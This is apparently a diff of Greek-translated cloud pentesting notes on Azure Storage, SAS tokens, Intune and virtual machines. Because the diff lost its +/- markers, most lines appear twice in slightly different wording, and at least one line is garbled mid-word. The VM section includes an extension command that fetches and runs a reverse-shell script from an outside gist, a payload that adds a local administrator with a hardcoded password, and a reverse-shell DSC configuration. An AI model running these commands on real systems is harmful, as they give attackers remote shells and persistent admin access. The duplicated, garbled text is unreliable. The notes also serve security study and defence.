Αν βρείτε οποιαδήποτε **αποθήκευση** στην οποία μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για να το κάνετε.
Εάν βρείτε οποιαδήποτε **αποθήκευση** στην οποία μπορείτε να συνδεθείτε, μπορείτε να χρησιμοποιήσετε το εργαλείο [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) για να το κάνετε.
## Πρόσβαση στην Αποθήκευση <a href="#about-blob-storage" id="about-blob-storage"></a>
@@ -83,7 +83,7 @@
### **Κοινά Κλειδιά & Ελαφριά Κοινά Κλειδιά**
Είναι δυνατή η [**δημιουργία Κοινών Κλειδιών**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένων με τα κλειδιά πρόσβασης για την εξουσιοδότηση πρόσβασης σε συγκεκριμένους πόρους μέσω μιας υπογεγραμμένης διεύθυνσης URL.
Είναι δυνατή η [**δημιουργία Κοινών Κλειδιών**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) υπογεγραμμένων με τα κλειδιά πρόσβασης για την εξουσιοδότηση πρόσβασης σε ορισμένους πόρους μέσω μιας υπογεγραμμένης διεύθυνσης URL.
> [!NOTE]
> Σημειώστε ότι το μέρος `CanonicalizedResource` αντιπροσωπεύει τον πόρο υπηρεσιών αποθήκευσης (URI). Και αν οποιοδήποτε μέρος στη διεύθυνση URL είναι κωδικοποιημένο, θα πρέπει επίσης να είναι κωδικοποιημένο μέσα στο `CanonicalizedResource`.
@@ -108,7 +108,7 @@ Range + "\n" +
CanonicalizedHeaders +
CanonicalizedResource;
```
- Είναι δυνατόν να δημιουργηθεί ένα **κοινό κλειδί για τις υπηρεσίες πίνακα** υπογράφοντας τις παρακάτω πληροφορίες:
- Είναι δυνατόν να δημιουργήσετε ένα **κοινό κλειδί για τις υπηρεσίες πίνακα** υπογράφοντας τις παρακάτω πληροφορίες:
```bash
StringToSign = VERB + "\n" +
Content-MD5 + "\n" +
@@ -144,7 +144,7 @@ Content-Length: 0
```
### **Shared Access Signature** (SAS)
Οι Υπογραφές Κοινής Πρόσβασης (SAS) είναι ασφαλή, περιορισμένα χρονικά URLs που **παρέχουν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν λογαριασμό Azure Storage χωρίς να εκθέτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα κλειδιά πρόσβασης παρέχουν πλήρη διαχειριστική πρόσβαση σε όλους τους πόρους, το SAS επιτρέπει λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως ανάγνωση ή εγγραφή) και ορίζοντας χρόνο λήξης.
Οι Κοινές Υπογραφές Πρόσβασης (SAS) είναι ασφαλείς, περιορισμένες χρονικά διευθύνσεις URL που **παρέχουν συγκεκριμένα δικαιώματα πρόσβασης σε πόρους** σε έναν λογαριασμό Azure Storage χωρίς να εκθέτουν τα κλειδιά πρόσβασης του λογαριασμού. Ενώ τα κλειδιά πρόσβασης παρέχουν πλήρη διαχειριστική πρόσβαση σε όλους τους πόρους, το SAS επιτρέπει λεπτομερή έλεγχο καθορίζοντας δικαιώματα (όπως ανάγνωση ή εγγραφή) και ορίζοντας χρόνο λήξης.
#### Τύποι SAS
@@ -153,43 +153,43 @@ Content-Length: 0
- **Service SAS**: Υπογράφεται χρησιμοποιώντας ένα από τα **access keys** του λογαριασμού αποθήκευσης. Μπορεί να χρησιμοποιηθεί για να παραχωρήσει πρόσβαση σε συγκεκριμένους πόρους σε μια μόνο υπηρεσία αποθήκευσης. Αν το κλειδί ανανεωθεί, το SAS θα σταματήσει να λειτουργεί.
- **Account SAS**: Υπογράφεται επίσης με ένα από τα **access keys** του λογαριασμού αποθήκευσης. Παρέχει πρόσβαση σε πόρους σε όλες τις υπηρεσίες ενός λογαριασμού αποθήκευσης (Blob, Queue, Table, File) και μπορεί να περιλαμβάνει λειτουργίες σε επίπεδο υπηρεσίας.
Ένα SAS URL υπογεγραμμένο με ένα **access key** φαίνεται έτσι:
Μια διεύθυνση URL SAS που υπογράφεται με ένα **access key** φαίνεται έτσι:
- `https://<container_name>.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D`
Ένα SAS URL υπογεγραμμένο ως **user delegation** φαίνεται έτσι:
Μια διεύθυνση URL SAS που υπογράφεται ως **user delegation** φαίνεται έτσι:
- `https://<container_name>.blob.core.windows.net/testing-container?sp=r&st=2024-11-22T15:07:40Z&se=2024-11-22T23:07:40Z&skoid=d77c71a1-96e7-483d-bd51-bd753aa66e62&sktid=fdd066e1-ee37-49bc-b08f-d0e152119b04&skt=2024-11-22T15:07:40Z&ske=2024-11-22T23:07:40Z&sks=b&skv=2022-11-02&spr=https&sv=2022-11-02&sr=c&sig=7s5dJyeE6klUNRulUj9TNL0tMj2K7mtxyRc97xbYDqs%3D`
Σημειώστε μερικές **http params**:
- Η **`se`** παράμετρος υποδεικνύει την **ημερομηνία λήξης** του SAS
- Η **`sp`** παράμετρος υποδεικνύει τα **δικαιώματα** του SAS
- Η παράμετρος **`se`** υποδεικνύει την **ημερομηνία λήξης** του SAS
- Η παράμετρος **`sp`** υποδεικνύει τα **δικαιώματα** του SAS
- Η **`sig`** είναι η **υπογραφή** που επικυρώνει το SAS
#### Δικαιώματα SAS
Κατά την παραγωγή ενός SAS, είναι απαραίτητο να υποδειχθούν τα δικαιώματα που θα πρέπει να παρέχει. Ανάλογα με το αντικείμενο πάνω στο οποίο παράγεται το SAS, μπορεί να περιλαμβάνονται διαφορετικά δικαιώματα. Για παράδειγμα:
Κατά την παραγωγή ενός SAS, είναι απαραίτητο να υποδειχθούν τα δικαιώματα που θα παραχωρεί. Ανάλογα με το αντικείμενο πάνω στο οποίο παράγεται το SAS, μπορεί να περιλαμβάνονται διαφορετικά δικαιώματα. Για παράδειγμα:
- (a)dd, (c)reate, (d)elete, (e)xecute, (f)ilter_by_tags, (i)set_immutability_policy, (l)ist, (m)ove, (r)ead, (t)ag, (w)rite, (x)delete_previous_version, (y)permanent_delete
## SFTP Support for Azure Blob Storage
Το Azure Blob Storage υποστηρίζει τώρα το Πρωτόκολλο Μεταφοράς Αρχείων SSH (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στο Blob Storage χωρίς να απαιτούνται προσαρμοσμένες λύσεις ή προϊόντα τρίτων.
Η Azure Blob Storage υποστηρίζει τώρα το Πρωτόκολλο Μεταφοράς Αρχείων SSH (SFTP), επιτρέποντας ασφαλή μεταφορά και διαχείριση αρχείων απευθείας στην Blob Storage χωρίς να απαιτούνται προσαρμοσμένες λύσεις ή προϊόντα τρίτων.
### Κύρια Χαρακτηριστικά
- Υποστήριξη Πρωτοκόλλου: Το SFTP λειτουργεί με λογαριασμούς Blob Storage που είναι διαμορφωμένοι με ιεραρχικό χώρο ονομάτων (HNS). Αυτό οργανώνει τα blobs σε καταλόγους και υποκαταλόγους για ευκολότερη πλοήγηση.
- Ασφάλεια: Το SFTP χρησιμοποιεί τοπικές ταυτότητες χρηστών για την αυθεντικοποίηση και δεν ενσωματώνεται με RBAC ή ABAC. Κάθε τοπικός χρήστης μπορεί να αυθεντικοποιηθεί μέσω:
- Κωδικών πρόσβασης που δημιουργούνται από το Azure
- Κωδικών πρόσβασης που δημιουργούνται από την Azure
- Δημόσιων-ιδιωτικών ζευγών κλειδιών SSH
- Λεπτομερή Δικαιώματα: Δικαιώματα όπως Ανάγνωση, Εγγραφή, Διαγραφή και Λίστα μπορούν να εκχωρηθούν σε τοπικούς χρήστες για έως 100 κοντέινερ.
- Δικτυακές Σκέψεις: Οι συνδέσεις SFTP γίνονται μέσω της θύρας 22. Το Azure υποστηρίζει δικτυακές διαμορφώσεις όπως τείχη προστασίας, ιδιωτικά endpoints ή εικονικά δίκτυα για την ασφάλιση της κυκλοφορίας SFTP.
- Δικτυακές Σκέψεις: Οι συνδέσεις SFTP γίνονται μέσω της θύρας 22. Η Azure υποστηρίζει δικτυακές διαμορφώσεις όπως τείχη προστασίας, ιδιωτικά endpoints ή εικονικά δίκτυα για την ασφάλιση της κυκλοφορίας SFTP.
### Απαιτήσεις Ρύθμισης
- Ιεραρχικός Χώρος Ονομάτων: Το HNS πρέπει να είναι ενεργοποιημένο κατά τη δημιουργία του λογαριασμού αποθήκευσης.
- Υποστηριζόμενη Κρυπτογράφηση: Απαιτείται η έγκριση αλγορίθμων κρυπτογράφησης από το Microsoft Security Development Lifecycle (SDL) (π.χ. rsa-sha2-256, ecdsa-sha2-nistp256).
- Υποστηριζόμενη Κρυπτογράφηση: Απαιτείται η έγκριση κρυπτογραφικών αλγορίθμων από τον Κύκλο Ζωής Ανάπτυξης Ασφαλείας της Microsoft (SDL) (π.χ. rsa-sha2-256, ecdsa-sha2-nistp256).
- Ρύθμιση SFTP:
- Ενεργοποιήστε το SFTP στον λογαριασμό αποθήκευσης.
- Δημιουργήστε τοπικές ταυτότητες χρηστών με κατάλληλα δικαιώματα.
@@ -199,7 +199,7 @@ Content-Length: 0
| Δικαίωμα | Σύμβολο | Περιγραφή |
| ---------------------- | ------ | ------------------------------------ |
| **Ανάγνωση** | `r` | Ανάγνωση περιεχομένου αρχείου. |
| **Ανάγνωση** | `r` | Ανάγνωση περιεχομένου αρχείου. |
| **Εγγραφή** | `w` | Μεταφόρτωση αρχείων και δημιουργία καταλόγων. |
| **Λίστα** | `l` | Λίστα περιεχομένων καταλόγων. |
| **Διαγραφή** | `d` | Διαγραφή αρχείων ή καταλόγων. |
@@ -330,7 +330,7 @@ az storage account local-user list \
{{#endtab }}
{{#tab name="Az PowerShell" }}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account
@@ -4,21 +4,21 @@
## Basic Information
**Azure Table Storage** είναι ένα NoSQL key-value store σχεδιασμένο για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλου και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών.
**Azure Table Storage** είναι ένα NoSQL key-value store σχεδιασμένο για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλων και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών.
Δεν **υπάρχει ενσωματωμένος μηχανισμός δημιουργίας αντιγράφων ασφαλείας** για την αποθήκευση πίνακα.
Δεν **υπάρχει ενσωματωMechanism backup** για την αποθήκευση πίνακα.
### Keys
#### **PartitionKey**
- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικές κατανομές**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα.
- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικά partitions**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα.
- Παράδειγμα: Σε έναν πίνακα που αποθηκεύει δεδομένα υπαλλήλων, το `PartitionKey` μπορεί να αντιπροσωπεύει ένα τμήμα, π.χ., `"HR"` ή `"IT"`.
#### **RowKey**
- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός μιας κατανομής. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή.
- Παράδειγμα: Για την κατανομή `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`.
- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός ενός partition. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή.
- Παράδειγμα: Για το partition `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`.
#### **Other Properties (Custom Properties)**
@@ -63,7 +63,7 @@ az storage entity merge \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# Get storage accounts
Get-AzStorageAccount
@@ -4,13 +4,13 @@
## Basic Information
Το Microsoft Intune έχει σχεδιαστεί για να απλοποιεί τη διαδικασία της **διαχείρισης εφαρμογών και συσκευών**. Οι δυνατότητές του εκτείνονται σε μια ποικιλία συσκευών, περιλαμβάνοντας κινητές συσκευές, επιτραπέζιους υπολογιστές και εικονικά σημεία. Η βασική λειτουργικότητα του Intune περιστρέφεται γύρω από **τη διαχείριση της πρόσβασης των χρηστών και την απλοποίηση της διαχείρισης των εφαρμογών** και συσκευών εντός του δικτύου ενός οργανισμού.
Microsoft Intune έχει σχεδιαστεί για να απλοποιεί τη διαδικασία της **διαχείρισης εφαρμογών και συσκευών**. Οι δυνατότητές του εκτείνονται σε μια ποικιλία συσκευών, περιλαμβάνοντας κινητές συσκευές, επιτραπέζιους υπολογιστές και εικονικά σημεία. Η βασική λειτουργικότητα του Intune περιστρέφεται γύρω από **τη διαχείριση της πρόσβασης των χρηστών και την απλοποίηση της διαχείρισης των εφαρμογών** και συσκευών εντός του δικτύου ενός οργανισμού.
## Cloud -> On-Prem
Ένας χρήστης με ρόλο **Global Administrator** ή **Intune Administrator** μπορεί να εκτελεί **PowerShell** scripts σε οποιαδήποτε **εγγεγραμμένη Windows** συσκευή.\
Το **script** εκτελείται με **δικαιώματα** **SYSTEM** στη συσκευή μόνο μία φορά αν δεν αλλάξει, και από το Intune **δεν είναι δυνατή η προβολή της εξόδου** του script.
```powershell
```bash
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
```
1. Συνδεθείτε στο [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) ή χρησιμοποιήστε το Pass-The-PRT
@@ -20,8 +20,8 @@ az-azure-network.md
- **Τύπος Ασφαλείας**:
- **Τυπική Ασφάλεια**: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση.
- **Εμπιστευτική Εκκίνηση**: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκων και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Αυθεντικοποίηση**: Από προεπιλογή, δημιουργείται ένα νέο **κλειδί SSH**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
- **Αυθεντικοποίηση**: Από προεπιλογή, μια νέα **κλειδί SSH δημιουργείται**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
- **Κρυπτογράφηση δίσκου VM:** Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα.
- Είναι επίσης δυνατό να ενεργοποιηθεί η **Κρυπτογράφηση στον host**, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
- **Ομάδα ασφαλείας δικτύου NIC**:
@@ -50,7 +50,7 @@ az-azure-network.md
- Το ίδιο ισχύει και για τα στιγμιότυπα
- Από προεπιλογή είναι δυνατόν να **μοιραστεί ο δίσκος από όλα τα δίκτυα**, αλλά μπορεί επίσης να **περιοριστεί** μόνο σε ορισμένες **ιδιωτικές προσβάσεις** ή να **απενεργοποιηθεί εντελώς** η δημόσια και ιδιωτική πρόσβαση.
- Το ίδιο ισχύει και για τα στιγμιότυπα
- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημέρες) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημερών) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
- Το ίδιο ισχύει και για τα στιγμιότυπα
{{#tabs}}
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List all disks
Get-AzDisk
@@ -76,10 +76,10 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
## Εικόνες, Γκαλερί Εικόνων & Σημεία Επαναφοράς
Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο αναγνώσιμη, χρονικά καθορισμένη αντιγραφή ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και την καθιστούν δημόσια.
Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο ανάγνωση, αντίγραφο χρονικής στιγμής ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωσης, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και να την κάνουν δημόσια.
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο.
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **στιγμιότυπα χρονικής στιγμής** που είναι συμβατά με την εφαρμογή **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνη τη συγκεκριμένη χρονική στιγμή.
{{#tabs}}
{{#tab name="az cli"}}
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
## List all galleries and get info about one
Get-AzGallery
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
@@ -180,7 +180,7 @@ az network bastion rdp \
```
{{#endtab}}
{{#tab name="PowerShell"}}
```powershell
```bash
# List bastions
Get-AzBastion
```
@@ -189,7 +189,7 @@ Get-AzBastion
## Μεταδεδομένα
Η Υπηρεσία Μεταδεδομένων Στιγμιότυπου Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις εκτελούμενες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
Η Υπηρεσία Μεταδεδομένων Εγκατάστασης Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα **`Metadata: true`** και δεν πρέπει να έχει την κεφαλίδα **`X-Forwarded-For`**.
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
az vm run-command list --output table
```
```powershell
```bash
# Get readable VMs
Get-AzVM | fl
# Lis running VMs
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# It takes some mins to run
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
```
@@ -520,10 +520,10 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
Μπορείτε επίσης να εκτελέσετε άλλα payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -540,7 +540,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>Επέκταση VMAccess</summary>
Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
```powershell
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredStateConfiguration (DSC)</summary>
Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
```powershell
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -609,7 +609,7 @@ Set-AzVMDscExtension `
### Εφαρμογές VM
Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για να προσθέσετε και να αφαιρέσετε εύκολα εφαρμογές σε VMs.
Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για την εύκολη προσθήκη και αφαίρεση εφαρμογών σε VMs.
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -625,7 +625,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
Δείτε πώς να εγκαταστήσετε νέες εφαρμογές στο [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
> [!CAUTION]
> Είναι δυνατόν να **μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές**. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο λογισμικό σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές.
> Είναι δυνατόν να **μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές**. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να εισάγει κακόβουλο κώδικα σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές.
Αλλά **δεν υπάρχει "αγορά" για εφαρμογές vm** όπως υπάρχει για επεκτάσεις.
@@ -729,7 +729,7 @@ az vm application set \
- Στα **Windows**, τα προσαρμοσμένα δεδομένα τοποθετούνται στο `%SYSTEMDRIVE%\AzureData\CustomData.bin` ως δυαδικό αρχείο και δεν επεξεργάζονται.
- Στο **Linux**, αποθηκεύονταν στο `/var/lib/waagent/ovf-env.xml` και τώρα αποθηκεύονται στο `/var/lib/waagent/CustomData/ovf-env.xml`
- **Linux agent**: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με ενεργοποιημένα τα δεδομένα
- **Linux agent**: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με τα δεδομένα ενεργοποιημένα
